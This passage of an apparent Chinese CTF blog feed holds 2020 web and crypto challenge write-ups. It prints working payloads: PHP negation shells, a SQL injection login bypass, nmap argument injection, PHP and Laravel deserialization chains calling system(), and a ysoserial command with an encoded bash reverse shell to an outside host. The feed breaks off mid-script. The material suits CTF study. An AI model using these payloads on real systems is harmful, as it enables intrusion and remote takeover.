ini_get都不能用了，看样子上个题应该也是非预期。</p><p>file_get_contents(‘127.0.0.1’) 一下，发现80端口有个别的web服务。</p><p><img src="https://upload-images.jianshu.io/upload_images/9223743-074b4398d03ef2c7.png" alt="image.png"></p><p>这个agent，想起来v1的时候，根目录有个 agent 文件，拉下来，是个elf。</p><p>go写的web逆向，装了个 IDAGolangHelper 插件：</p><p><img src="https://upload-images.jianshu.io/upload_images/9223743-cfe182c523ad3008.png" alt="image.png"></p><p>逆不动了… 有时间的话找个逆向手补一波。</p>]]></content>
    
    
    <summary type="html">&lt;p&gt;跟着 TD 打了一下 TCTF &amp;amp; 0CTF，基本0输出orz，给 TD 的大佬递 tea。&lt;/p&gt;</summary>
    
    
    
    <category term="CTF" scheme="https://igml.top/categories/CTF/"/>
    
    <category term="Web" scheme="https://igml.top/categories/CTF/Web/"/>
    
    
    <category term="CTF" scheme="https://igml.top/tags/CTF/"/>
    
    <category term="wp" scheme="https://igml.top/tags/wp/"/>
    
  </entry>
  
  <entry>
    <title>2020 第五空间智能安全大赛初赛wp</title>
    <link href="https://igml.top/2020/06/25/2020-5space/"/>
    <id>https://igml.top/2020/06/25/2020-5space/</id>
    <published>2020-06-25T10:27:34.000Z</published>
    <updated>2020-06-25T11:02:00.609Z</updated>
    
    <content type="html"><![CDATA[<h2 id="Web"><a href="#Web" class="headerlink" title="Web"></a>Web</h2><h3 id="hate-php"><a href="#hate-php" class="headerlink" title="hate-php"></a>hate-php</h3><p>一般的无字母shell，直接用～取反就行了。</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">http:&#x2F;&#x2F;121.36.74.163&#x2F;?code&#x3D;(~%8C%86%8C%8B%9A%92)(~(%9C%9E%8B%DF%99%93%9E%98%D1%8F%97%8F))</span><br></pre></td></tr></table></figure><a id="more"></a><h3 id="do-you-know"><a href="#do-you-know" class="headerlink" title="do you know"></a>do you know</h3><p>变量赋值一直绕不过去，$param和$type这些无法赋值，无法xxe。测试了一下，<code>$_SERVER[&#39;QUERY_STRING&#39;];</code>不会进行url解码，而后面赋值是$_GET赋的值，保存的是解码后的值，也就是说waf检测的是url解码前的value，直接将 file:///var/www/html/flag.php 进行url编码，可以拿到flag。</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">http:&#x2F;&#x2F;121.36.64.91&#x2F;?a&#x3D;1&amp;b&#x3D;1&amp;url&#x3D;%66%69%6c%65%3a%2f%2f%2f%76%61%72%2f%77%77%77%2f%68%74%6d%6c%2f%66%6c%61%67%2e%70%68%70</span><br></pre></td></tr></table></figure><h3 id="美团外卖"><a href="#美团外卖" class="headerlink" title="美团外卖"></a>美团外卖</h3><p>www.zip源码泄漏，审计源码。登陆处没有什么过滤。</p><p><code>password=123456&amp;username=admin&#39; and 0 union select &#39;e10adc3949ba59abbe56e057f20f883e&#39; limit 1 offset 0#</code>可以登陆，但是session里面的user不是admin，很多东西没法搞。</p><p>尝试注admin的密码，用时间盲注，不能用逗号，使用case when以及substr from 绕过，结果题目限制请求速率，sleep(10)都不行，还ban ip…. 应该不是盲注。找找应该有其他注入点，审计到daochu.php，没有任何过滤，还有回显。</p><p><img src="https://upload-images.jianshu.io/upload_images/9223743-2a085ffe2c0defff.png" alt="image.png"></p><p>有个hint，读一下列名，是hints。读一下数据：</p><p><img src="https://upload-images.jianshu.io/upload_images/9223743-c90035078ec69185.png" alt="image.png"></p><p>看这个目录，和主页一模一样的界面…这应该是真目录。两个目录肯定有不同。</p><p>新目录可以访问lib文件夹，而原来的不可以，lib里肯定有东西。在lib文件夹下发现webuploader，版本是0.1.5，搜一波有洞：</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">https:&#x2F;&#x2F;9finger.cn&#x2F;2020&#x2F;03&#x2F;06&#x2F;CNVD-2018-26054%E6%BC%8F%E6%B4%9E%E5%A4%8D%E7%8E%B0&#x2F;#%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90</span><br></pre></td></tr></table></figure><p>链接exp打上去，php被过滤，换个大小写：</p><p><img src="https://upload-images.jianshu.io/upload_images/9223743-322391598b0c65d5.png" alt="image.png"></p><p>提示让我访问<a href="http://119.3.183.154/956c110ef9decdd920249f5fed9e4427/lib/webuploader/0.1.5/server/e98a4571cf72b798077d12d6c94629.php">http://119.3.183.154/956c110ef9decdd920249f5fed9e4427/lib/webuploader/0.1.5/server/e98a4571cf72b798077d12d6c94629.php</a>，回显getfile。试一下file=phpinfo();不行，file=/flag，读到flag。</p><p><a href="http://119.3.183.154/956c110ef9decdd920249f5fed9e4427/lib/webuploader/0.1.5/server/e98a4571cf72b798077d12d6c94629.php?file=/flag">http://119.3.183.154/956c110ef9decdd920249f5fed9e4427/lib/webuploader/0.1.5/server/e98a4571cf72b798077d12d6c94629.php?file=/flag</a></p><h3 id="Laravel"><a href="#Laravel" class="headerlink" title="Laravel"></a>Laravel</h3><p>index路由就一个反序列化，显然就是找链。搜到这一篇：<a href="https://www.anquanke.com/post/id/184541#h3-2。">https://www.anquanke.com/post/id/184541#h3-2。</a></p><p>这里的Generator类可以用，但是另一个IlluminateBroadcasting没有。我们需要找到一个类，其中一个属性可控，赋值成构造的Generator对象，同时这个类析构函数需要调用这个属性的一个不存在的方法。这样就可以调用Generator的__call从而RCE。。Vendor文件夹里搜索__destruct，找到了一个：</p><p><img src="https://upload-images.jianshu.io/upload_images/9223743-4554eadef6216c8c.png" alt="image.png"></p><p>parent可以控制，那么仿照链接中的例子，我们就可以实现RCE。</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">&lt;?php</span></span><br><span class="line"><span class="keyword">namespace</span> <span class="title">Symfony</span>\<span class="title">Component</span>\<span class="title">Routing</span>\<span class="title">Loader</span>\<span class="title">Configurator</span>&#123;</span><br><span class="line">    <span class="title">class</span> <span class="title">ImportConfigurator</span>&#123;</span><br><span class="line">        <span class="title">private</span> $<span class="title">parent</span>;</span><br><span class="line">        <span class="keyword">private</span> $route;</span><br><span class="line">        <span class="keyword">public</span> <span class="function"><span class="keyword">function</span> <span class="title">__construct</span>(<span class="params">$parent,$route</span>)</span>&#123;</span><br><span class="line">              <span class="keyword">$this</span>-&gt;parent=$parent;</span><br><span class="line">              <span class="keyword">$this</span>-&gt;route=$route;</span><br><span class="line">        &#125;</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br><span class="line"><span class="keyword">namespace</span> <span class="title">Faker</span>&#123;</span><br><span class="line">    <span class="title">class</span> <span class="title">Generator</span>&#123;</span><br><span class="line">        <span class="title">protected</span> $<span class="title">formatters</span>;</span><br><span class="line">        <span class="keyword">public</span> <span class="function"><span class="keyword">function</span> <span class="title">__construct</span>(<span class="params">$formatters</span>)</span>&#123;</span><br><span class="line">            <span class="keyword">$this</span>-&gt;formatters=$formatters; </span><br><span class="line">        &#125;</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br><span class="line"><span class="keyword">namespace</span>&#123;</span><br><span class="line">    $<span class="title">generator</span> = <span class="title">new</span> <span class="title">Faker</span>\<span class="title">Generator</span>(<span class="title">array</span>(&quot;<span class="title">addCollection</span>&quot;=&gt;&quot;<span class="title">system</span>&quot;));</span><br><span class="line">    $exp = <span class="keyword">new</span> \Symfony\Component\Routing\Loader\Configurator\ImportConfigurator($generator,<span class="string">&quot;cat /flag&quot;</span>);</span><br><span class="line">    <span class="keyword">echo</span> urlencode(serialize($exp));</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">O%3A64%3A%22Symfony%5CComponent%5CRouting%5CLoader%5CConfigurator%5CImportConfigurator%22%3A2%3A%7Bs%3A72%3A%22%00Symfony%5CComponent%5CRouting%5CLoader%5CConfigurator%5CImportConfigurator%00parent%22%3BO%3A15%3A%22Faker%5CGenerator%22%3A1%3A%7Bs%3A13%3A%22%00%2A%00formatters%22%3Ba%3A1%3A%7Bs%3A13%3A%22addCollection%22%3Bs%3A6%3A%22system%22%3B%7D%7Ds%3A71%3A%22%00Symfony%5CComponent%5CRouting%5CLoader%5CConfigurator%5CImportConfigurator%00route%22%3Bs%3A9%3A%22cat+%2Fflag%22%3B%7D</span><br></pre></td></tr></table></figure>]]></content>
    
    
    <summary type="html">&lt;h2 id=&quot;Web&quot;&gt;&lt;a href=&quot;#Web&quot; class=&quot;headerlink&quot; title=&quot;Web&quot;&gt;&lt;/a&gt;Web&lt;/h2&gt;&lt;h3 id=&quot;hate-php&quot;&gt;&lt;a href=&quot;#hate-php&quot; class=&quot;headerlink&quot; title=&quot;hate-php&quot;&gt;&lt;/a&gt;hate-php&lt;/h3&gt;&lt;p&gt;一般的无字母shell，直接用～取反就行了。&lt;/p&gt;
&lt;figure class=&quot;highlight plain&quot;&gt;&lt;table&gt;&lt;tr&gt;&lt;td class=&quot;gutter&quot;&gt;&lt;pre&gt;&lt;span class=&quot;line&quot;&gt;1&lt;/span&gt;&lt;br&gt;&lt;/pre&gt;&lt;/td&gt;&lt;td class=&quot;code&quot;&gt;&lt;pre&gt;&lt;span class=&quot;line&quot;&gt;http:&amp;#x2F;&amp;#x2F;121.36.74.163&amp;#x2F;?code&amp;#x3D;(~%8C%86%8C%8B%9A%92)(~(%9C%9E%8B%DF%99%93%9E%98%D1%8F%97%8F))&lt;/span&gt;&lt;br&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;/figure&gt;</summary>
    
    
    
    <category term="CTF" scheme="https://igml.top/categories/CTF/"/>
    
    <category term="Web" scheme="https://igml.top/categories/CTF/Web/"/>
    
    
    <category term="CTF" scheme="https://igml.top/tags/CTF/"/>
    
    <category term="Web" scheme="https://igml.top/tags/Web/"/>
    
  </entry>
  
  <entry>
    <title>2020网鼎杯-朱雀组wp</title>
    <link href="https://igml.top/2020/05/18/2020-%E7%BD%91%E9%BC%8E%E6%9D%AF-%E6%9C%B1%E9%9B%80/"/>
    <id>https://igml.top/2020/05/18/2020-%E7%BD%91%E9%BC%8E%E6%9D%AF-%E6%9C%B1%E9%9B%80/</id>
    <published>2020-05-18T02:58:26.000Z</published>
    <updated>2020-05-18T16:29:40.503Z</updated>
    
    <content type="html"><![CDATA[<h2 id="Web"><a href="#Web" class="headerlink" title="Web"></a>Web</h2><h3 id="nmap"><a href="#nmap" class="headerlink" title="nmap"></a>nmap</h3><p>可以扫描ip，尝试命令注入未果，应该是调用了nmap进行扫描。</p><a id="more"></a><p>nmap可以读取文件中的内容进行扫描，flag肯定是非法ip，nmap输出会把内容报错出来，利用这个特点，把结果输出到web目录下的文件。</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">&#39; -iL &#x2F;flag -oN &#x2F;var&#x2F;www&#x2F;html&#x2F;abc.txt &#39;</span><br></pre></td></tr></table></figure><p> 访问abc.txt。</p><h3 id="phpweb"><a href="#phpweb" class="headerlink" title="phpweb"></a>phpweb</h3><p>传入的p与func是 $func($p) 形式执行，可以读到源码：</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">func&#x3D;readfile&amp;p&#x3D;index.php</span><br></pre></td></tr></table></figure><p>源码：</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">&lt;?php</span></span><br><span class="line">    $disable_fun = <span class="keyword">array</span>(<span class="string">&quot;exec&quot;</span>,<span class="string">&quot;shell_exec&quot;</span>,<span class="string">&quot;system&quot;</span>,<span class="string">&quot;passthru&quot;</span>,<span class="string">&quot;proc_open&quot;</span>,<span class="string">&quot;show_source&quot;</span>,<span class="string">&quot;phpinfo&quot;</span>,<span class="string">&quot;popen&quot;</span>,<span class="string">&quot;dl&quot;</span>,<span class="string">&quot;eval&quot;</span>,<span class="string">&quot;proc_terminate&quot;</span>,<span class="string">&quot;touch&quot;</span>,<span class="string">&quot;escapeshellcmd&quot;</span>,<span class="string">&quot;escapeshellarg&quot;</span>,<span class="string">&quot;assert&quot;</span>,<span class="string">&quot;substr_replace&quot;</span>,<span class="string">&quot;call_user_func_array&quot;</span>,<span class="string">&quot;call_user_func&quot;</span>,<span class="string">&quot;array_filter&quot;</span>, <span class="string">&quot;array_walk&quot;</span>,  <span class="string">&quot;array_map&quot;</span>,<span class="string">&quot;registregister_shutdown_function&quot;</span>,<span class="string">&quot;register_tick_function&quot;</span>,<span class="string">&quot;filter_var&quot;</span>, <span class="string">&quot;filter_var_array&quot;</span>, <span class="string">&quot;uasort&quot;</span>, <span class="string">&quot;uksort&quot;</span>, <span class="string">&quot;array_reduce&quot;</span>,<span class="string">&quot;array_walk&quot;</span>, <span class="string">&quot;array_walk_recursive&quot;</span>,<span class="string">&quot;pcntl_exec&quot;</span>,<span class="string">&quot;fopen&quot;</span>,<span class="string">&quot;fwrite&quot;</span>,<span class="string">&quot;file_put_contents&quot;</span>);</span><br><span class="line">    <span class="function"><span class="keyword">function</span> <span class="title">gettime</span>(<span class="params">$func, $p</span>) </span>&#123;</span><br><span class="line">        $result = call_user_func($func, $p);</span><br><span class="line">        $a= gettype($result);</span><br><span class="line">        <span class="keyword">if</span> ($a == <span class="string">&quot;string&quot;</span>) &#123;</span><br><span class="line">            <span class="keyword">return</span> $result;</span><br><span class="line">        &#125; <span class="keyword">else</span> &#123;<span class="keyword">return</span> <span class="string">&quot;&quot;</span>;&#125;</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="class"><span class="keyword">class</span> <span class="title">Test</span> </span>&#123;</span><br><span class="line">        <span class="keyword">var</span> $p = <span class="string">&quot;Y-m-d h:i:s a&quot;</span>;</span><br><span class="line">        <span class="keyword">var</span> $func = <span class="string">&quot;date&quot;</span>;</span><br><span class="line">        <span class="function"><span class="keyword">function</span> <span class="title">__destruct</span>(<span class="params"></span>) </span>&#123;</span><br><span class="line">            <span class="keyword">if</span> (<span class="keyword">$this</span>-&gt;func != <span class="string">&quot;&quot;</span>) &#123;</span><br><span class="line">                <span class="keyword">echo</span> gettime(<span class="keyword">$this</span>-&gt;func, <span class="keyword">$this</span>-&gt;p);</span><br><span class="line">            &#125;</span><br><span class="line">        &#125;</span><br><span class="line">    &#125;</span><br><span class="line">    $func = $_REQUEST[<span class="string">&quot;func&quot;</span>];</span><br><span class="line">    $p = $_REQUEST[<span class="string">&quot;p&quot;</span>];</span><br><span class="line"></span><br><span class="line">    <span class="keyword">if</span> ($func != <span class="literal">null</span>) &#123;</span><br><span class="line">        $func = strtolower($func);</span><br><span class="line">        <span class="keyword">if</span> (!in_array($func,$disable_fun)) &#123;</span><br><span class="line">            <span class="keyword">echo</span> gettime($func, $p);</span><br><span class="line">        &#125;<span class="keyword">else</span> &#123;</span><br><span class="line">            <span class="keyword">die</span>(<span class="string">&quot;Hacker...&quot;</span>);</span><br><span class="line">        &#125;</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="meta">?&gt;</span></span><br></pre></td></tr></table></figure><p>ban了执行代码之类的函数，gettime 有个 call_user_func，还有个类，想到可以反序列化。</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">&lt;?php</span></span><br><span class="line"><span class="class"><span class="keyword">class</span> <span class="title">Test</span> </span>&#123;</span><br><span class="line">    <span class="keyword">var</span> $p = <span class="string">&quot;ls&quot;</span>;</span><br><span class="line">    <span class="keyword">var</span> $func = <span class="string">&quot;system&quot;</span>;</span><br><span class="line">&#125;</span><br><span class="line"><span class="keyword">echo</span> serialize(<span class="keyword">new</span> Test());</span><br></pre></td></tr></table></figure><p><img src="https://upload-images.jianshu.io/upload_images/9223743-21d75094c0b434e2.png" alt="image.png"></p><p>读取flag。</p><h3 id="think-java"><a href="#think-java" class="headerlink" title="think java"></a>think java</h3><p>这个题比赛做了一半，在buuoj复现的。</p><p>扫了一波目录，发现了swagger-ui.html，看到了三个api：</p><p><img src="https://upload-images.jianshu.io/upload_images/9223743-a93e2a84b569cc08.png" alt="image.png"></p><p>sqlDict传入一个dbname。</p><p>给了部分class，拖到jdgui分析，jdbc连接数据库：</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">public</span> <span class="class"><span class="keyword">class</span> <span class="title">SqlDict</span> </span>&#123;</span><br><span class="line">  <span class="function"><span class="keyword">public</span> <span class="keyword">static</span> Connection <span class="title">getConnection</span><span class="params">(String dbName, String user, String pass)</span> </span>&#123;</span><br><span class="line">    Connection conn = <span class="keyword">null</span>;</span><br><span class="line">    <span class="keyword">try</span> &#123;</span><br><span class="line">      Class.forName(<span class="string">&quot;com.mysql.jdbc.Driver&quot;</span>);</span><br><span class="line">      <span class="keyword">if</span> (dbName != <span class="keyword">null</span> &amp;&amp; !dbName.equals(<span class="string">&quot;&quot;</span>)) &#123;</span><br><span class="line">        dbName = <span class="string">&quot;jdbc:mysql://mysqldbserver:3306/&quot;</span> + dbName;</span><br><span class="line">      &#125; <span class="keyword">else</span> &#123;</span><br><span class="line">        dbName = <span class="string">&quot;jdbc:mysql://mysqldbserver:3306/myapp&quot;</span>;</span><br><span class="line">      &#125; </span><br><span class="line">      <span class="keyword">if</span> (user == <span class="keyword">null</span> || dbName.equals(<span class="string">&quot;&quot;</span>))</span><br><span class="line">        user = <span class="string">&quot;root&quot;</span>; </span><br><span class="line">      <span class="keyword">if</span> (pass == <span class="keyword">null</span> || dbName.equals(<span class="string">&quot;&quot;</span>))</span><br><span class="line">        pass = <span class="string">&quot;abc@12345&quot;</span>; </span><br><span class="line">      conn = DriverManager.getConnection(dbName, user, pass);</span><br><span class="line">    &#125; <span class="keyword">catch</span> (ClassNotFoundException var5) &#123;</span><br><span class="line">      var5.printStackTrace();</span><br><span class="line">    &#125; <span class="keyword">catch</span> (SQLException var6) &#123;</span><br><span class="line">      var6.printStackTrace();</span><br><span class="line">    &#125; </span><br><span class="line">    <span class="keyword">return</span> conn;</span><br><span class="line">  &#125;</span><br></pre></td></tr></table></figure><p>其中，test 接口可以传入 dbName，拼接到连接，想到了jdbc反序列化，往下看。</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="keyword">public</span> <span class="keyword">static</span> List&lt;Table&gt; <span class="title">getTableData</span><span class="params">(String dbName, String user, String pass)</span> </span>&#123;</span><br><span class="line">  List&lt;Table&gt; Tables = <span class="keyword">new</span> ArrayList&lt;&gt;();</span><br><span class="line">  Connection conn = getConnection(dbName, user, pass);</span><br><span class="line">  String TableName = <span class="string">&quot;&quot;</span>;</span><br><span class="line">  <span class="keyword">try</span> &#123;</span><br><span class="line">    Statement stmt = conn.createStatement();</span><br><span class="line">    DatabaseMetaData metaData = conn.getMetaData();</span><br><span class="line">    ResultSet tableNames = metaData.getTables((String)<span class="keyword">null</span>, (String)<span class="keyword">null</span>, (String)<span class="keyword">null</span>, <span class="keyword">new</span> String[] &#123; <span class="string">&quot;TABLE&quot;</span> &#125;);</span><br><span class="line">    <span class="keyword">while</span> (tableNames.next()) &#123;</span><br><span class="line">      TableName = tableNames.getString(<span class="number">3</span>);</span><br><span class="line">      Table table = <span class="keyword">new</span> Table();</span><br><span class="line">      String sql = <span class="string">&quot;Select TABLE_COMMENT from INFORMATION_SCHEMA.TABLES Where table_schema = &#x27;&quot;</span> + dbName + <span class="string">&quot;&#x27; and table_name=&#x27;&quot;</span> + TableName + <span class="string">&quot;&#x27;;&quot;</span>;</span><br><span class="line">      ResultSet rs = stmt.executeQuery(sql);</span><br><span class="line">      <span class="keyword">while</span> (rs.next())</span><br><span class="line">        table.setTableDescribe(rs.getString(<span class="string">&quot;TABLE_COMMENT&quot;</span>)); </span><br><span class="line">      table.setTableName(TableName);</span><br><span class="line">      ResultSet data = metaData.getColumns(conn.getCatalog(), (String)<span class="keyword">null</span>, TableName, <span class="string">&quot;&quot;</span>);</span><br><span class="line">      ResultSet rs2 = metaData.getPrimaryKeys(conn.getCatalog(), (String)<span class="keyword">null</span>, TableName);</span><br><span class="line">      String PK;</span><br><span class="line">      <span class="keyword">for</span> (PK = <span class="string">&quot;&quot;</span>; rs2.next(); PK = rs2.getString(<span class="number">4</span>));</span><br><span class="line">      <span class="keyword">while</span> (data.next()) &#123;</span><br><span class="line">        Row row = <span class="keyword">new</span> Row(data.getString(<span class="string">&quot;COLUMN_NAME&quot;</span>), data.getString(<span class="string">&quot;TYPE_NAME&quot;</span>), data.getString(<span class="string">&quot;COLUMN_DEF&quot;</span>), data.getString(<span class="string">&quot;NULLABLE&quot;</span>).equals(<span class="string">&quot;1&quot;</span>) ? <span class="string">&quot;YES&quot;</span> : <span class="string">&quot;NO&quot;</span>, data.getString(<span class="string">&quot;IS_AUTOINCREMENT&quot;</span>), data.getString(<span class="string">&quot;REMARKS&quot;</span>), data.getString(<span class="string">&quot;COLUMN_NAME&quot;</span>).equals(PK) ? <span class="string">&quot;true&quot;</span> : <span class="keyword">null</span>, data.getString(<span class="string">&quot;COLUMN_SIZE&quot;</span>));</span><br><span class="line">        table.list.add(row);</span><br><span class="line">      &#125; </span><br><span class="line">      Tables.add(table);</span><br><span class="line">    &#125; </span><br><span class="line">  &#125; <span class="keyword">catch</span> (SQLException var16) &#123;</span><br><span class="line">    var16.printStackTrace();</span><br><span class="line">  &#125; </span><br><span class="line">  <span class="keyword">return</span> Tables;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>有注入的样子，把dbname拼接到了语句里。</p><p>应该是注入出用户名密码，然后登陆，登陆后面还有题。</p><p>但是我们传入的 dbname需要正确连接，同时还要注入，可以用#截断使jdbc正常连接，然后注入payload放到后面。</p><p>可以注入出用户名和密码：</p><p><img src="https://upload-images.jianshu.io/upload_images/9223743-002248aa671587e7.png" alt="image.png"></p><p>用户名是 admin，密码是admin@Rrrr_ctf_asde。</p><p>登陆，发现给了个token。</p><p><img src="https://upload-images.jianshu.io/upload_images/9223743-bc25eb7e982fffd3.png" alt="image.png"></p><p>Bearer后面部分明显是序列化数据的base64编码，还有个current接口，我们把token post过去，发现校验成功。</p><p>思路很清晰了，current会反序列化我们传入的数据，我们需要 getshell，但是没有gadget。。。</p><p>比赛的时候卡在了这里。。。本来这个题放出来一阵子都只有3个队做出来，后来突然就几十支了，佛了。</p><p>赛后问了一波，貌似是用ysoserial挨个exp打？</p><p>ysoserial 是个集成了java反序列化exp的工具，github在这里：<a href="https://github.com/frohoff/ysoserial。">https://github.com/frohoff/ysoserial。</a></p><p>这个题是用 ROME 打的，首先下载ysoserial文件，因为java 反弹shell容易出问题，找了个在线网站改一下payload：<a href="http://www.jackson-t.ca/runtime-exec-payloads.html">http://www.jackson-t.ca/runtime-exec-payloads.html</a></p><p><img src="https://upload-images.jianshu.io/upload_images/9223743-5d91acf48a023ca4.png" alt="image.png"></p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">java -jar ysoserial-master-SNAPSHOT.jar ROME <span class="string">&#x27;bash -c &#123;echo,YmFzaCAtaSA+JiAvZGV2L3RjcC82MTc4LTg5N2VhMDQwLTU2YzAtNDg2NC04NWM1LWE4YWY4ZmJjMmY4ZS82NjY2IDA+JjE=&#125;|&#123;base64,-d&#125;|&#123;bash,-i&#125;&#x27;</span> | base64</span><br></pre></td></tr></table></figure><p>把生成的base64，current接口发过去（记得前面加Bearer。。因为没加Bearer找了半天问题orz）</p><p>可以弹到shell：</p><p><img src="https://upload-images.jianshu.io/upload_images/9223743-0fd81c5d04ad08c1.png" alt="image.png"></p><p>顺便说一句，如果打不成，可以试着先用ysoserial的URLDNS模块测试反序列化是否可以用，先把URLDNS打成。</p><h2 id="Crypto"><a href="#Crypto" class="headerlink" title="Crypto"></a>Crypto</h2><h3 id="Simple"><a href="#Simple" class="headerlink" title="Simple"></a>Simple</h3><p>仿射密码。</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">import</span> string</span><br><span class="line"><span class="keyword">import</span> gmpy2</span><br><span class="line"></span><br><span class="line">enc = <span class="string">&quot;kgws&#123;m8u8cm65-ue9k-44k5-8361-we225m76eeww&#125;&quot;</span></span><br><span class="line">k1 = <span class="number">123456</span> % <span class="number">26</span></span><br><span class="line">k2 = <span class="number">321564</span> % <span class="number">26</span></span><br><span class="line"></span><br><span class="line">flag = <span class="string">&quot;&quot;</span></span><br><span class="line"><span class="keyword">for</span> c <span class="keyword">in</span> enc:</span><br><span class="line">    <span class="keyword">if</span> c <span class="keyword">not</span> <span class="keyword">in</span> string.ascii_lowercase:</span><br><span class="line">        flag += c</span><br><span class="line">    <span class="keyword">else</span>:</span><br><span class="line">        <span class="keyword">for</span> m <span class="keyword">in</span> string.ascii_lowercase:</span><br><span class="line">            <span class="keyword">if</span> (k1 * (<span class="built_in">ord</span>(m) - <span class="built_in">ord</span>(<span class="string">&#x27;a&#x27;</span>)) + k2) % <span class="number">26</span> == <span class="built_in">ord</span>(c) - <span class="built_in">ord</span>(<span class="string">&#x27;a&#x27;</span>):</span><br><span class="line">                flag += m</span><br><span class="line">                <span class="keyword">break</span></span><br><span class="line"><span class="built_in">print</span> flag</span><br></pre></td></tr></table></figure><h3 id="RUA"><a href="#RUA" class="headerlink" title="RUA"></a>RUA</h3><p>三组n与c，没有e，n都很大，相互互素。</p><p>考虑中国剩余定理，然后开三次方，开不出来。N有大约6000多bit，爆破e开方，发现是17次方。</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment"># -*- coding: utf-8 -*-</span></span><br><span class="line"><span class="keyword">import</span> gmpy2</span><br><span class="line"><span class="keyword">from</span> Crypto.Util.number <span class="keyword">import</span> *</span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">GCRT</span>(<span class="params">mi, ai</span>):</span></span><br><span class="line">    <span class="comment"># mi,ai分别表示模数和取模后的值,都为列表结构</span></span><br><span class="line">    <span class="keyword">assert</span> (<span 